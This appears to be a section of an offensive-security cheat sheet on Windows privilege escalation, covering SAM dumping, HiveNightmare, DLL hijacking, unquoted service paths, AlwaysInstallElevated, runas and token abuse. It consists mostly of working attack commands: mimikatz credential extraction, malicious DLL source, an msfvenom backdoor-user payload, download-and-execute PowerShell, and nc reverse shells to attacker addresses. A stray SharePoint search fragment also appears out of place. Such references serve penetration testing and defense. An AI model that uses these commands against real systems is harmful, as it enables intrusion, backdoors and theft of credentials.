EoP - Looting for passwords

SAM and SYSTEM files

The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Generate a hash file for John using pwdump or samdump2.

pwdump SYSTEM SAM > /root/sam.txt
samdump2 SYSTEM SAM -o sam.txt

Either crack it with john -format=NT /root/sam.txt, hashcat or use Pass-The-Hash.

HiveNightmare

CVE-2021–36934 allows you to retrieve all registry hives (SAM,SECURITY,SYSTEM) in Windows 10 and 11 as a non-administrator user

Check for the vulnerability using icacls

C:\Windows\System32> icacls config\SAM
config\SAM BUILTIN\Administrators:(I)(F)
           NT AUTHORITY\SYSTEM:(I)(F)
           BUILTIN\Users:(I)(RX)    <-- this is wrong - regular users should not have read access!

Then exploit the CVE by requesting the shadowcopies on the filesystem and reading the hives from it.

mimikatz> token::whoami /full

# List shadow copies available
mimikatz> misc::shadowcopies

# Extract account from SAM databases
mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM

# Extract secrets from SECURITY
mimikatz> lsadump::secrets /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /security:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY

# Second, search on Sharepoint
## Method 1: using search strings in ./presets dir
.\SnaffPoint.exe -u "https://your.sharepoint.com" -t $token
## Method 2: using search string in command line
### -l uses FQL search, see: https://learn.microsoft.com/en-us/sharepoint/dev/general-development/fast-query-language-fql-syntax-reference

EoP - Incorrect permissions in services

A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system.

Often, services are pointing to writeable locations:

  • Orphaned installs, not installed anymore but still exist in startup

  • DLL Hijacking

    # find missing DLL 
- Find-PathDLLHijack PowerUp.ps1
- Process Monitor : check for "Name Not Found"

# compile a malicious dll
- For x64 compile with: "x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll"
- For x86 compile with: "i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll"

# content of windows_dll.c
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt");
        ExitProcess(0);
    }
    return TRUE;
}

  • PATH directories with weak permissions

    $ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
$ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"

$ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt
FOR /F %i in (Servicenames.txt) DO echo %i
type Servicenames.txt
FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt

Alternatively you can use the Metasploit exploit : exploit/windows/local/service_permissions

Note to check file permissions you can use cacls and icacls

icacls (Windows Vista +)
cacls (Windows XP)

You are looking for BUILTIN\Users:(F)(Full access), BUILTIN\Users:(M)(Modify access) or BUILTIN\Users:(W)(Write-only access) in the output.

EoP - Windows Subsystem for Linux (WSL)

Technique borrowed from Warlockobama's tweet

With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell on any port (no elevation needed). Don't know the root password? No problem just set the default user to root W/ .exe --default-user root. Now start your bind shell or reverse.

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Binary bash.exe can also be found in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Alternatively you can explore the WSL filesystem in the folder C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

EoP - Unquoted Service Paths

The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first.

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
  • Metasploit exploit : exploit/windows/local/trusted_service_path
  • PowerUp exploit 
    # find the vulnerable application
C:\> powershell.exe -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadString('https://your-site.com/PowerUp.ps1'); Invoke-AllChecks"

...
[*] Checking for unquoted service paths...
ServiceName   : BBSvc
Path          : C:\Program Files\Microsoft\Bing Bar\7.1\BBSvc.exe
StartName     : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'BBSvc' -Path <HijackPath>
...

# automatic exploit
Invoke-ServiceAbuse -Name [SERVICE_NAME] -Command "..\..\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"

Example

For C:\Program Files\something\legit.exe, Windows will try the following paths first:

  • C:\Program.exe
  • C:\Program Files.exe

EoP - $PATH Interception

Requirements:

  • PATH contains a writeable folder with low privileges.
  • The writeable folder is before the folder that contains the legitimate binary.

EXAMPLE:

# List contents of the PATH environment variable
# EXAMPLE OUTPUT: C:\Program Files\nodejs\;C:\WINDOWS\system32
$env:Path

# See permissions of the target folder
# EXAMPLE OUTPUT: BUILTIN\Users: GR,GW
icacls.exe "C:\Program Files\nodejs\"

# Place our evil-file in that folder.
copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"

Because (in this example) "C:\Program Files\nodejs" is before "C:\WINDOWS\system32" on the PATH variable, the next time the user runs "cmd.exe", our evil version in the nodejs folder will run, instead of the legitimate one in the system32 folder.

EoP - Named Pipes

  1. Find named pipes: [System.IO.Directory]::GetFiles("\\.\pipe\")
  2. Check named pipes DACL: pipesec.exe <named_pipe>
  3. Reverse engineering software
  4. Send data throught the named pipe : program.exe >\\.\pipe\StdOutPipe 2>\\.\pipe\StdErrPipe

EoP - Microsoft Windows Installer

AlwaysInstallElevated

Using the reg query command, you can check the status of the AlwaysInstallElevated registry key for both the user and the machine. If both queries return a value of 0x1, then AlwaysInstallElevated is enabled for both user and machine, indicating the system is vulnerable.

  • Shell command 
    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  • PowerShell command 
    Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer
Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer

Then create an MSI package and install it.

$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi
$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi-nouac -o evil.msi
$ msiexec /quiet /qn /i C:\evil.msi

Technique also available in :

  • Metasploit : exploit/windows/local/always_install_elevated
  • PowerUp.ps1 : Get-RegistryAlwaysInstallElevated, Write-UserAddMSI

CustomActions

Custom Actions in MSI allow developers to specify scripts or executables to be run at various points during an installation

  • mgeeky/msidump - a tool that analyzes malicious MSI installation packages, extracts files, streams, binary data and incorporates YARA scanner.
  • activescott/lessmsi - A tool to view and extract the contents of an Windows Installer (.msi) file.
  • mandiant/msi-search - This tool simplifies the task for red team operators and security teams to identify which MSI files correspond to which software and enables them to download the relevant file.

Enumerate products on the machine

wmic product get identifyingnumber,name,vendor,version

Execute the repair process with the /fa parameter to trigger the CustomActions. We can use both IdentifyingNumber {E0F1535A-8414-5EF1-A1DD-E17EDCDC63F1} or path to the installer c:\windows\installer\XXXXXXX.msi. The repair will run with the NT SYSTEM account.

$installed = Get-WmiObject Win32_Product
$string= $installed | select-string -pattern "PRODUCTNAME"
$string[0] -match '{\w{8}-\w{4}-\w{4}-\w{4}-\w{12}}'
Start-Process -FilePath "msiexec.exe" -ArgumentList "/fa $($matches[0])"

Common mistakes in MSI installers:

  • Missing quiet parameters: it will spawn conhost.exe as NT SYSTEM. Use [CTRL]+[A] to select some text in it, it will pause the execution.
    • conhost -> properties -> "legacy console mode" Link -> Internet Explorer -> CTRL+O –> cmd.exe
  • GUI with direct actions: open a URL and start the browser then use the same scenario.
  • Binaries/Scripts loaded from user writable paths: you might need to win the race condition.
  • DLL hijacking/search order abusing
  • PowerShell -NoProfile missing: Add custom commands into your profile 
    new-item -Path $PROFILE -Type file -Force
echo "Start-Process -FilePath cmd.exe -Wait;" > $PROFILE

EoP - Insecure GUI apps

Application running as SYSTEM allowing an user to spawn a CMD, or browse directories.

Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt"

EoP - Runas

Use the cmdkey to list the stored credentials on the machine.

cmdkey /list
Currently stored credentials:
 Target: Domain:interactive=WORKGROUP\Administrator
 Type: Domain Password
 User: WORKGROUP\Administrator

Then you can use runas with the /savecred options in order to use the saved credentials. The following example is calling a remote binary via an SMB share.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
runas /savecred /user:Administrator "cmd.exe /k whoami"

Using runas with a provided set of credential.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
[System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)

EoP - Abusing Shadow Copies

If you have local administrator access on a machine try to list shadow copies, it's an easy way for Privilege Escalation.

# List shadow copies using vssadmin (Needs Admnistrator Access)
vssadmin list shadows
  
# List shadow copies using diskshadow
diskshadow list shadows all
  
# Make a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

EoP - From local administrator to NT SYSTEM

PsExec.exe -i -s cmd.exe

EoP - Living Off The Land Binaries and Scripts

Living Off The Land Binaries and Scripts (and also Libraries) : https://lolbas-project.github.io/

The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques.

A LOLBin/Lib/Script must:

  • Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft. Have extra "unexpected" functionality. It is not interesting to document intended use cases. Exceptions are application whitelisting bypasses
  • Have functionality that would be useful to an APT or red team
wmic.exe process call create calc
regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
Microsoft.Workflow.Compiler.exe tests.xml results.xml

EoP - Impersonation Privileges

Full privileges cheatsheet at https://github.com/gtworek/Priv2Admin, summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.

Privilege Impact Tool Execution path Remarks
SeAssignPrimaryToken Admin 3rd party tool "It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe" Thank you Aurélien Chalot for the update. I will try to re-phrase it to something more recipe-like soon.
SeBackup Threat Built-in commands Read sensitve files with robocopy /b - May be more interesting if you can read %WINDIR%\MEMORY.DMP

- SeBackupPrivilege (and robocopy) is not helpful when it comes to open files.

- Robocopy requires both SeBackup and SeRestore to work with /b parameter.
SeCreateToken Admin 3rd party tool Create arbitrary token including local admin rights with NtCreateToken.
SeDebug Admin PowerShell Duplicate the lsass.exe token. Script to be found at FuzzySecurity
SeLoadDriver Admin 3rd party tool 1. Load buggy kernel driver such as szkg64.sys or capcom.sys
2. Exploit the driver vulnerability

Alternatively, the privilege may be used to unload security-related drivers with ftlMC builtin command. i.e.: fltMC sysmondrv		 1. The szkg64 vulnerability is listed as CVE-2018-15732
2. The szkg64 exploit code was created by Parvez Anwar
SeRestore Admin PowerShell 1. Launch PowerShell/ISE with the SeRestore privilege present.
2. Enable the privilege with Enable-SeRestorePrivilege).
3. Rename utilman.exe to utilman.old
4. Rename cmd.exe to utilman.exe
5. Lock the console and press Win+U		 Attack may be detected by some AV software.

Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege.
SeTakeOwnership Admin Built-in commands 1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. Rename cmd.exe to utilman.exe
4. Lock the console and press Win+U		 Attack may be detected by some AV software.

Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege.
SeTcb Admin 3rd party tool Manipulate tokens to have local admin rights included. May require SeImpersonate.

To be verified.

EoP - Privileged File Write

DiagHub

⚠️ Starting with version 1903 and above, DiagHub can no longer be used to load arbitrary DLLs.

The Microsoft Diagnostics Hub Standard Collector Service (DiagHub) is a service that collects trace information and is programmatically exposed via DCOM. This DCOM object can be used to load a DLL into a SYSTEM process, provided that this DLL exists in the C:\Windows\System32 directory.

Exploit

  1. Create an evil DLL e.g: payload.dll and move it into C:\Windows\System32
  2. Build https://github.com/xct/diaghub
  3. diaghub.exe c:\\ProgramData\\ payload.dll

The default payload will run C:\Windows\System32\spool\drivers\color\nc.exe -lvp 2000 -e cmd.exe

Alternative tools:

UsoDLLLoader

⚠️ 2020-06-06 Update: this trick no longer works on the latest builds of Windows 10 Insider Preview.

An alternative to the DiagHub DLL loading "exploit" found by James Forshaw (a.k.a. @tiraniddo)

If we found a privileged file write vulnerability in Windows or in some third-party software, we could copy our own version of windowscoredeviceinfo.dll into C:\Windows\Sytem32\ and then have it loaded by the USO service to get arbitrary code execution as NT AUTHORITY\System.

Exploit

  1. Build https://github.com/itm4n/UsoDllLoader
    • Select Release config and x64 architecure.
    • Build solution.
      • DLL .\x64\Release\WindowsCoreDeviceInfo.dll
      • Loader .\x64\Release\UsoDllLoader.exe.
  2. Copy WindowsCoreDeviceInfo.dll to C:\Windows\System32\
  3. Use the loader and wait for the shell or run usoclient StartInteractiveScan and connect to the bind shell on port 1337.

WerTrigger

Exploit Privileged File Writes bugs with Windows Problem Reporting

  1. Clone https://github.com/sailay1996/WerTrigger
  2. Copy phoneinfo.dll to C:\Windows\System32\
  3. Place Report.wer file and WerTrigger.exe in a same directory.
  4. Then, run WerTrigger.exe.
  5. Enjoy a shell as NT AUTHORITY\SYSTEM

WerMgr

Exploit Privileged Directory Creation Bugs with Windows Error Reporting

  1. Clone https://github.com/binderlabs/DirCreate2System
  2. Create directory C:\Windows\System32\wermgr.exe.local\
  3. Grant access to it: cacls C:\Windows\System32\wermgr.exe.local /e /g everyone:f
  4. Place spawn.dll file and dircreate2system.exe in a same directory and run .\dircreate2system.exe.
  5. Enjoy a shell as NT AUTHORITY\SYSTEM
